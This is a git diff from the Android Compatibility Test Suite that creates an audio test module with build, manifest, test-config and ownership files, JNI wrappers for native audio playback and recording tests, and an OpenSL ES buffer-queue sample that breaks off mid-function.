+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license", // CC-BY
+    ],
+}
+
+cc_test_library {
+    name: "libaudiocts_jni",
+    srcs: [
+        "jni/AudioPlayer_jni.cpp",
+        "jni/AudioPlayer.cpp",
+        "jni/AudioRecorder_jni.cpp",
+        "jni/AudioRecorder.cpp",
+        "jni/AudioSource.cpp",
+        "jni/OpenSLESUtils.cpp",
+        "jni/PeriodicAudioSource.cpp",
+        "jni/SystemParams.cpp",
+        "jni/WaveTableGenerator.cpp",
+        "jni/WaveTableOscillator.cpp",
+        "jni/appendix-b-1-1-buffer-queue.cpp",
+        "jni/appendix-b-1-2-recording.cpp",
+        "jni/audio-metadata-native.cpp",
+        "jni/audio-record-native.cpp",
+        "jni/audio-track-native.cpp",
+        "jni/sl-utils.cpp",
+    ],
+    include_dirs: ["frameworks/wilhelm/include",
+                   "frameworks/wilhelm/src/android",
+                   "system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+        "libnativehelper_compat_libc++",
+        "libOpenSLES",
+    ],
+    header_libs: [
+        "libaudioutils_headers",
+        "liblog_headers",
+
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-deprecated-declarations",
+    ],
+    gtest: false,
+    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk.
+    sdk_version: "29",
+}
+
+android_test {
+    name: "CtsMediaAudioTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "hamcrest-library",
+        "cts-media-common",
+        "junit-params",
+        "testng",
+    ],
+    jni_libs: [
+        "libaudiocts_jni",
+    ],
+    resource_dirs: ["res"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/audio/AndroidManifest.xml b/tests/tests/media/audio/AndroidManifest.xml
new file mode 100644
index 0000000..161a852
--- /dev/null
+++ b/tests/tests/media/audio/AndroidManifest.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.audio.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+
+    <uses-permission android:name="android.permission.VIBRATE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name="android.media.audio.cts.RingtonePickerActivity"
+             android:label="RingtonePickerActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="31"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.audio.cts"
+         android:label="CTS tests of android.media.audio">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/audio/AndroidTest.xml b/tests/tests/media/audio/AndroidTest.xml
new file mode 100644
index 0000000..e72ab2c
--- /dev/null
+++ b/tests/tests/media/audio/AndroidTest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media audio test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaAudioTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.audio.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="1h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/audio/OWNERS b/tests/tests/media/audio/OWNERS
new file mode 100644
index 0000000..c3cae09
--- /dev/null
+++ b/tests/tests/media/audio/OWNERS
@@ -0,0 +1,30 @@
+# Bug component: 1344
+# include media developers and framework video team
+include platform/frameworks/av:/media/OWNERS
+
+per-file src/android/media/audio/cts/AudioMetadataTest.java = hunga@google.com
+per-file src/android/media/audio/cts/AudioRecordTest.java = hunga@google.com
+per-file src/android/media/audio/cts/AudioRecord_BufferSizeTest.java = hunga@google.com
+per-file src/android/media/audio/cts/AudioTrackLatencyTest.java = hunga@google.com
+per-file src/android/media/audio/cts/AudioTrackOffloadTest.java = hunga@google.com
+per-file src/android/media/audio/cts/AudioTrackSurroundTest.java = hunga@google.com
+per-file src/android/media/audio/cts/AudioTrackTest.java = hunga@google.com
+per-file src/android/media/audio/cts/AudioTrack_ListenerTest.java = hunga@google.com
+per-file src/android/media/audio/cts/SoundPoolAacTest.java = hunga@google.com
+per-file src/android/media/audio/cts/SoundPoolHapticTest.java = hunga@google.com
+per-file src/android/media/audio/cts/SoundPoolMidiTest.java = hunga@google.com
+per-file src/android/media/audio/cts/SoundPoolOggTest.java = hunga@google.com
+per-file src/android/media/audio/cts/SoundPoolTest.java = hunga@google.com
+per-file src/android/media/audio/cts/VolumeShaperTest.java = hunga@google.com
+
+per-file src/android/media/audio/cts/AudioAttributesTest.java = jmtrivi@google.com
+per-file src/android/media/audio/cts/AudioFocusTest.java = jmtrivi@google.com
+per-file src/android/media/audio/cts/AudioPlaybackConfigurationTest.java = jmtrivi@google.com
+per-file src/android/media/audio/cts/AudioRecordingConfigurationTest.java = jmtrivi@google.com
+per-file src/android/media/audio/cts/LoudnessEnhancerTest.java = jmtrivi@google.com
+per-file src/android/media/audio/cts/RingtoneManagerTest.java = jmtrivi@google.com
+per-file src/android/media/audio/cts/RingtoneTest.java = jmtrivi@google.com
+
+per-file src/android/media/audio/cts/AudioPlayRoutingNative.java = philburk@google.com
+per-file src/android/media/audio/cts/AudioRecordRoutingNative.java = philburk@google.com
+per-file src/android/media/audio/cts/MidiSoloTest.java = philburk@google.com
diff --git a/tests/tests/media/libndkaudio/AudioPlayer.cpp b/tests/tests/media/audio/jni/AudioPlayer.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/AudioPlayer.cpp
rename to tests/tests/media/audio/jni/AudioPlayer.cpp
diff --git a/tests/tests/media/libndkaudio/AudioPlayer.h b/tests/tests/media/audio/jni/AudioPlayer.h
similarity index 100%
rename from tests/tests/media/libndkaudio/AudioPlayer.h
rename to tests/tests/media/audio/jni/AudioPlayer.h
diff --git a/tests/tests/media/audio/jni/AudioPlayer_jni.cpp b/tests/tests/media/audio/jni/AudioPlayer_jni.cpp
new file mode 100644
index 0000000..9336ba2
--- /dev/null
+++ b/tests/tests/media/audio/jni/AudioPlayer_jni.cpp
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "AudioPlayer.h"
+#include "WaveTableGenerator.h"
+#include "WaveTableOscillator.h"
+#include "SystemParams.h"
+
+static const char* TAG = "AudioPlayer_jni";
+
+using namespace ndkaudio;
+
+static int numChannels = 2;
+static int waveTableSize = 0;
+static float * waveTable = 0;
+
+static WaveTableOscillator* waveTableSource;
+static AudioPlayer* nativePlayer;
+
+static SLresult lastSLResult = 0;
+
+extern "C" {
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_Create(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Create() ...");
+
+  if (nativePlayer == 0) {
+      waveTableSize = SystemParams::getNumBufferFrames();
+      waveTable = WaveTableGenerator::genSinWave(waveTableSize, 1.0f);
+      waveTableSource = new WaveTableOscillator(numChannels, waveTable, waveTableSize);
+
+      nativePlayer = new AudioPlayer();
+      nativePlayer->Open(numChannels, waveTableSource);
+  }
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_Destroy(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Destroy() ...");
+  nativePlayer->Close();
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_RealizePlayer(JNIEnv*, jobject) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_RealizePlayer() ...");
+    nativePlayer->RealizePlayer();
+  }
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_RealizeRoutingProxy(JNIEnv*, jobject) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_RealizeRoutingProxy() ...");
+    nativePlayer->RealizeRoutingProxy();
+  }
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_Start(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Start() ...");
+  nativePlayer->Start();
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_Stop(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_Stop() ...");
+  nativePlayer->Stop();
+}
+
+JNIEXPORT jobject JNICALL Java_android_media_audio_cts_AudioPlayer_GetRoutingInterface(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_GetRoutingInterface() ...");
+
+  SLAndroidConfigurationItf configItf = nativePlayer->getConfigItf();
+  __android_log_print(ANDROID_LOG_INFO, TAG, "  configItf:%p", configItf);
+  jobject routingObj = 0;
+  lastSLResult = (*configItf)->AcquireJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING, &routingObj);
+  __android_log_print(ANDROID_LOG_INFO, TAG, "  routingObj:%p", routingObj);
+  return routingObj;
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_ReleaseRoutingInterface(JNIEnv*, jobject, jobject /*proxyObj*/) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_ReleaseRoutingInterface() ...");
+
+  SLAndroidConfigurationItf configItf = nativePlayer->getConfigItf();
+  lastSLResult = (*configItf)->ReleaseJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING/*, proxyObj*/);
+}
+
+JNIEXPORT jlong JNICALL Java_android_media_audio_cts_AudioPlayer_GetLastSLResult(JNIEnv*, jobject) {
+    return lastSLResult;
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioPlayer_ClearLastSLResult(JNIEnv*, jobject) {
+    lastSLResult = 0;
+}
+
+} // extern "C"
diff --git a/tests/tests/media/libndkaudio/AudioRecorder.cpp b/tests/tests/media/audio/jni/AudioRecorder.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/AudioRecorder.cpp
rename to tests/tests/media/audio/jni/AudioRecorder.cpp
diff --git a/tests/tests/media/libndkaudio/AudioRecorder.h b/tests/tests/media/audio/jni/AudioRecorder.h
similarity index 100%
rename from tests/tests/media/libndkaudio/AudioRecorder.h
rename to tests/tests/media/audio/jni/AudioRecorder.h
diff --git a/tests/tests/media/audio/jni/AudioRecorder_jni.cpp b/tests/tests/media/audio/jni/AudioRecorder_jni.cpp
new file mode 100644
index 0000000..91ed35b
--- /dev/null
+++ b/tests/tests/media/audio/jni/AudioRecorder_jni.cpp
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "AudioRecorder.h"
+
+using namespace ndkaudio;
+
+static const char* TAG = "AudioRecorder_jni";
+
+static int numChannels = 2;
+
+static AudioRecorder* nativeRecorder;
+
+static SLresult lastSLResult = 0;
+extern "C" {
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_Create(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Create() ...");
+  if (nativeRecorder == 0) {
+      nativeRecorder = new AudioRecorder();
+  }
+  nativeRecorder->Open(numChannels, 0);
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_Destroy(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Destroy() ...");
+  nativeRecorder->Close();
+  delete nativeRecorder;
+  nativeRecorder = 0;
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_RealizeRecorder(JNIEnv*, jobject) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_RealizePlayer() ...");
+    nativeRecorder->RealizeRecorder();
+  }
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_RealizeRoutingProxy(JNIEnv*, jobject) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "RealizeRoutingProxy ...");
+    nativeRecorder->RealizeRoutingProxy();
+  }
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_Start(JNIEnv *, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Start() ...");
+  nativeRecorder->Start();
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_Stop(JNIEnv *, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioRecorder_Stop() ...");
+  nativeRecorder->Stop();
+}
+
+JNIEXPORT jobject JNICALL Java_android_media_audio_cts_AudioRecorder_GetRoutingInterface(JNIEnv*, jobject) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_GetRoutingObj() ...");
+
+  SLAndroidConfigurationItf configItf = nativeRecorder->getConfigItf();
+  jobject routingObj = 0;
+  lastSLResult = (*configItf)->AcquireJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING, &routingObj);
+  __android_log_print(ANDROID_LOG_INFO, TAG, "  routingObj:%p", routingObj);
+  return routingObj;
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_ReleaseRoutingInterface(JNIEnv*, jobject, jobject /*proxyObj*/) {
+  __android_log_print(ANDROID_LOG_INFO, TAG, "AudioPlayer_ReleaseRoutingInterface() ...");
+
+  SLAndroidConfigurationItf configItf = nativeRecorder->getConfigItf();
+  lastSLResult = (*configItf)->ReleaseJavaProxy(configItf, SL_ANDROID_JAVA_PROXY_ROUTING/*, proxyObj*/);
+}
+
+JNIEXPORT jint JNICALL Java_android_media_audio_cts_AudioRecorder_GetNumBufferSamples(JNIEnv*, jobject) {
+    return nativeRecorder->GetNumBufferSamples();
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_GetBufferData(JNIEnv* jEnv, jobject, jfloatArray j_data) {
+    float* dataBuffer = nativeRecorder->GetRecordBuffer();
+    if (dataBuffer != 0) {
+        jEnv->SetFloatArrayRegion(j_data, 0, nativeRecorder->GetNumBufferSamples(), dataBuffer);
+    }
+}
+
+JNIEXPORT jlong JNICALL Java_android_media_audio_cts_AudioRecorder_GetLastSLResult(JNIEnv*, jobject) {
+    return lastSLResult;
+}
+
+JNIEXPORT void JNICALL Java_android_media_audio_cts_AudioRecorder_ClearLastSLResult(JNIEnv*, jobject) {
+    lastSLResult = 0;
+}
+
+} // extern "C"
diff --git a/tests/tests/media/libndkaudio/AudioSink.h b/tests/tests/media/audio/jni/AudioSink.h
similarity index 100%
rename from tests/tests/media/libndkaudio/AudioSink.h
rename to tests/tests/media/audio/jni/AudioSink.h
diff --git a/tests/tests/media/libndkaudio/AudioSource.cpp b/tests/tests/media/audio/jni/AudioSource.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/AudioSource.cpp
rename to tests/tests/media/audio/jni/AudioSource.cpp
diff --git a/tests/tests/media/libndkaudio/AudioSource.h b/tests/tests/media/audio/jni/AudioSource.h
similarity index 100%
rename from tests/tests/media/libndkaudio/AudioSource.h
rename to tests/tests/media/audio/jni/AudioSource.h
diff --git a/tests/tests/media/libaudiojni/Blob.h b/tests/tests/media/audio/jni/Blob.h
similarity index 100%
rename from tests/tests/media/libaudiojni/Blob.h
rename to tests/tests/media/audio/jni/Blob.h
diff --git a/tests/tests/media/libaudiojni/Gate.h b/tests/tests/media/audio/jni/Gate.h
similarity index 100%
rename from tests/tests/media/libaudiojni/Gate.h
rename to tests/tests/media/audio/jni/Gate.h
diff --git a/tests/tests/media/libndkaudio/OpenSLESUtils.cpp b/tests/tests/media/audio/jni/OpenSLESUtils.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/OpenSLESUtils.cpp
rename to tests/tests/media/audio/jni/OpenSLESUtils.cpp
diff --git a/tests/tests/media/libndkaudio/OpenSLESUtils.h b/tests/tests/media/audio/jni/OpenSLESUtils.h
similarity index 100%
rename from tests/tests/media/libndkaudio/OpenSLESUtils.h
rename to tests/tests/media/audio/jni/OpenSLESUtils.h
diff --git a/tests/tests/media/libndkaudio/PeriodicAudioSource.cpp b/tests/tests/media/audio/jni/PeriodicAudioSource.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/PeriodicAudioSource.cpp
rename to tests/tests/media/audio/jni/PeriodicAudioSource.cpp
diff --git a/tests/tests/media/libndkaudio/PeriodicAudioSource.h b/tests/tests/media/audio/jni/PeriodicAudioSource.h
similarity index 100%
rename from tests/tests/media/libndkaudio/PeriodicAudioSource.h
rename to tests/tests/media/audio/jni/PeriodicAudioSource.h
diff --git a/tests/tests/media/libndkaudio/SystemParams.cpp b/tests/tests/media/audio/jni/SystemParams.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/SystemParams.cpp
rename to tests/tests/media/audio/jni/SystemParams.cpp
diff --git a/tests/tests/media/libndkaudio/SystemParams.h b/tests/tests/media/audio/jni/SystemParams.h
similarity index 100%
rename from tests/tests/media/libndkaudio/SystemParams.h
rename to tests/tests/media/audio/jni/SystemParams.h
diff --git a/tests/tests/media/libndkaudio/WaveTableGenerator.cpp b/tests/tests/media/audio/jni/WaveTableGenerator.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/WaveTableGenerator.cpp
rename to tests/tests/media/audio/jni/WaveTableGenerator.cpp
diff --git a/tests/tests/media/libndkaudio/WaveTableGenerator.h b/tests/tests/media/audio/jni/WaveTableGenerator.h
similarity index 100%
rename from tests/tests/media/libndkaudio/WaveTableGenerator.h
rename to tests/tests/media/audio/jni/WaveTableGenerator.h
diff --git a/tests/tests/media/libndkaudio/WaveTableOscillator.cpp b/tests/tests/media/audio/jni/WaveTableOscillator.cpp
similarity index 100%
rename from tests/tests/media/libndkaudio/WaveTableOscillator.cpp
rename to tests/tests/media/audio/jni/WaveTableOscillator.cpp
diff --git a/tests/tests/media/libndkaudio/WaveTableOscillator.h b/tests/tests/media/audio/jni/WaveTableOscillator.h
similarity index 100%
rename from tests/tests/media/libndkaudio/WaveTableOscillator.h
rename to tests/tests/media/audio/jni/WaveTableOscillator.h
diff --git a/tests/tests/media/audio/jni/appendix-b-1-1-buffer-queue.cpp b/tests/tests/media/audio/jni/appendix-b-1-1-buffer-queue.cpp
new file mode 100644
index 0000000..33eccf5a
--- /dev/null
+++ b/tests/tests/media/audio/jni/appendix-b-1-1-buffer-queue.cpp
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "OpenSL-ES-Test-B-1-1-Buffer-Queue"
+
+#include "sl-utils.h"
+
+/*
+ * See https://www.khronos.org/registry/sles/specs/OpenSL_ES_Specification_1.0.1.pdf
+ * Appendix B.1.1 sample code.
+ *
+ * Minor edits made to conform to Android coding style.
+ *
+ * Correction to code: SL_IID_VOLUME is now made optional for the mixer.
+ * It isn't supported on the standard Android mixer, but it is supported on the player.
+ */
+
+#define MAX_NUMBER_INTERFACES 3
+
+/* Local storage for Audio data in 16 bit words */
+#define AUDIO_DATA_STORAGE_SIZE 4096
+
+#define AUDIO_DATA_SEGMENTS 8
+
+/* Audio data buffer size in 16 bit words. 8 data segments are used in
+   this simple example */
+#define AUDIO_DATA_BUFFER_SIZE (AUDIO_DATA_STORAGE_SIZE / AUDIO_DATA_SEGMENTS)
+
+/* Structure for passing information to callback function */
+typedef struct  {
+    SLPlayItf playItf;
+    SLint16  *pDataBase; // Base address of local audio data storage
+    SLint16  *pData;     // Current address of local audio data storage
+    SLuint32  size;
+} CallbackCntxt;
+
+/* Local storage for Audio data */
+static SLint16 pcmData[AUDIO_DATA_STORAGE_SIZE];
+
+/* Callback for Buffer Queue events */
+static void BufferQueueCallback(
+        SLBufferQueueItf queueItf,
+        void *pContext)
+{
+    SLresult res;
+    CallbackCntxt *pCntxt = (CallbackCntxt*)pContext;
+    if (pCntxt->pData < (pCntxt->pDataBase + pCntxt->size)) {
+        res = (*queueItf)->Enqueue(queueItf, (void *)pCntxt->pData,
+                sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
+        ALOGE_IF(res != SL_RESULT_SUCCESS, "error: %s", android::getSLErrStr(res));
+        /* Increase data pointer by buffer size */
+        pCntxt->pData += AUDIO_DATA_BUFFER_SIZE;
+    }
+}
+
+/* Play some music from a buffer queue */
+static void TestPlayMusicBufferQueue(SLObjectItf sl)
+{
+    SLEngineItf EngineItf;
+
+    SLresult res;
+
+    SLDataSource audioSource;
+    SLDataLocator_BufferQueue bufferQueue;
+    SLDataFormat_PCM pcm;
+
+    SLDataSink audioSink;
+    SLDataLocator_OutputMix locator_outputmix;
+
+    SLObjectItf player;
+    SLPlayItf playItf;
+    SLBufferQueueItf bufferQueueItf;
+    SLBufferQueueState state;
+
+    SLObjectItf OutputMix;
+    SLVolumeItf volumeItf;
+
+    int i;
+
+    SLboolean required[MAX_NUMBER_INTERFACES];
+    SLInterfaceID iidArray[MAX_NUMBER_INTERFACES];
+
+    /* Callback context for the buffer queue callback function */
+    CallbackCntxt cntxt;
+
+    /* Get the SL Engine Interface which is implicit */
+    res = (*sl)->GetInterface(sl, SL_IID_ENGINE, (void *)&EngineItf);
+    CheckErr(res);
+
+    /* Initialize arrays required[] and iidArray[] */
+    for (i = 0; i < MAX_NUMBER_INTERFACES; i++) {
+        required[i] = SL_BOOLEAN_FALSE;
+        iidArray[i] = SL_IID_NULL;
+    }
+
+    // Set arrays required[] and iidArray[] for VOLUME interface
+    required[0] = SL_BOOLEAN_FALSE; // ANDROID: we don't require this interface
+    iidArray[0] = SL_IID_VOLUME;
+
+#if 0
+    const unsigned interfaces = 1;
+#else
+
+    /* FIXME: Android doesn't properly support optional interfaces (required == false).
+    [3.1.6] When an application requests explicit interfaces during object creation,
+    it can flag any interface as required. If an implementation is unable to satisfy
+    the request for an interface that is not flagged as required (i.e. it is not required),
+    this will not cause the object to fail creation. On the other hand, if the interface
+    is flagged as required and the implementation is unable to satisfy the request
+    for the interface, the object will not be created.
+    */
+    const unsigned interfaces = 0;
+#endif
+    // Create Output Mix object to be used by player
+    res = (*EngineItf)->CreateOutputMix(EngineItf, &OutputMix, interfaces,
+            iidArray, required);
+    CheckErr(res);
+
+    // Realizing the Output Mix object in synchronous mode.
+    res = (*OutputMix)->Realize(OutputMix, SL_BOOLEAN_FALSE);
+    CheckErr(res);
+
+    volumeItf = NULL; // ANDROID: Volume interface on mix object may not be supported
+    res = (*OutputMix)->GetInterface(OutputMix, SL_IID_VOLUME,
+            (void *)&volumeItf);
+
+    /* Setup the data source structure for the buffer queue */
+    bufferQueue.locatorType = SL_DATALOCATOR_BUFFERQUEUE;
+    bufferQueue.numBuffers = 4; /* Four buffers in our buffer queue */
+
+    /* Setup the format of the content in the buffer queue */
+    pcm.formatType = SL_DATAFORMAT_PCM;
+    pcm.numChannels = 2;
+    pcm.samplesPerSec = SL_SAMPLINGRATE_44_1;
+    pcm.bitsPerSample = SL_PCMSAMPLEFORMAT_FIXED_16;
+    pcm.containerSize = 16;
+    pcm.channelMask = SL_SPEAKER_FRONT_LEFT | SL_SPEAKER_FRONT_RIGHT;
+    pcm.endianness = SL_BYTEORDER_LITTLEENDIAN;
+    audioSource.pFormat = (void *)&pcm;
+    audioSource.pLocator = (void *)&bufferQueue;
+
+    /* Setup the data sink structure */
+    locator_outputmix.locatorType = SL_DATALOCATOR_OUTPUTMIX;
+    locator_outputmix.outputMix = OutputMix;
+    audioSink.pLocator = (void *)&locator_outputmix;
+    audioSink.pFormat = NULL;
+
+    /* Initialize the context for Buffer queue callbacks */
+    cntxt.pDataBase = pcmData;
+    cntxt.pData = cntxt.pDataBase;
+    cntxt.size = sizeof(pcmData) / sizeof(pcmData[0]); // ANDROID: Bug
+
+    /* Set arrays required[] and iidArray[] for SEEK interface
+       (PlayItf is implicit) */
+    required[0] = SL_BOOLEAN_TRUE;
+    iidArray[0] = SL_IID_BUFFERQUEUE;
+
+    /* Create the music player */
+
+    res = (*EngineItf)->CreateAudioPlayer(EngineItf, &player,
+            &audioSource, &audioSink, 1, iidArray, required);
+    CheckErr(res);
+
+    /* Realizing the player in synchronous mode. */
+    res = (*player)->Realize(player, SL_BOOLEAN_FALSE);
+    CheckErr(res);
+
+    /* Get seek and play interfaces */
+    res = (*player)->GetInterface(player, SL_IID_PLAY, (void *)&playItf);
+    CheckErr(res);
+    res = (*player)->GetInterface(player, SL_IID_BUFFERQUEUE,
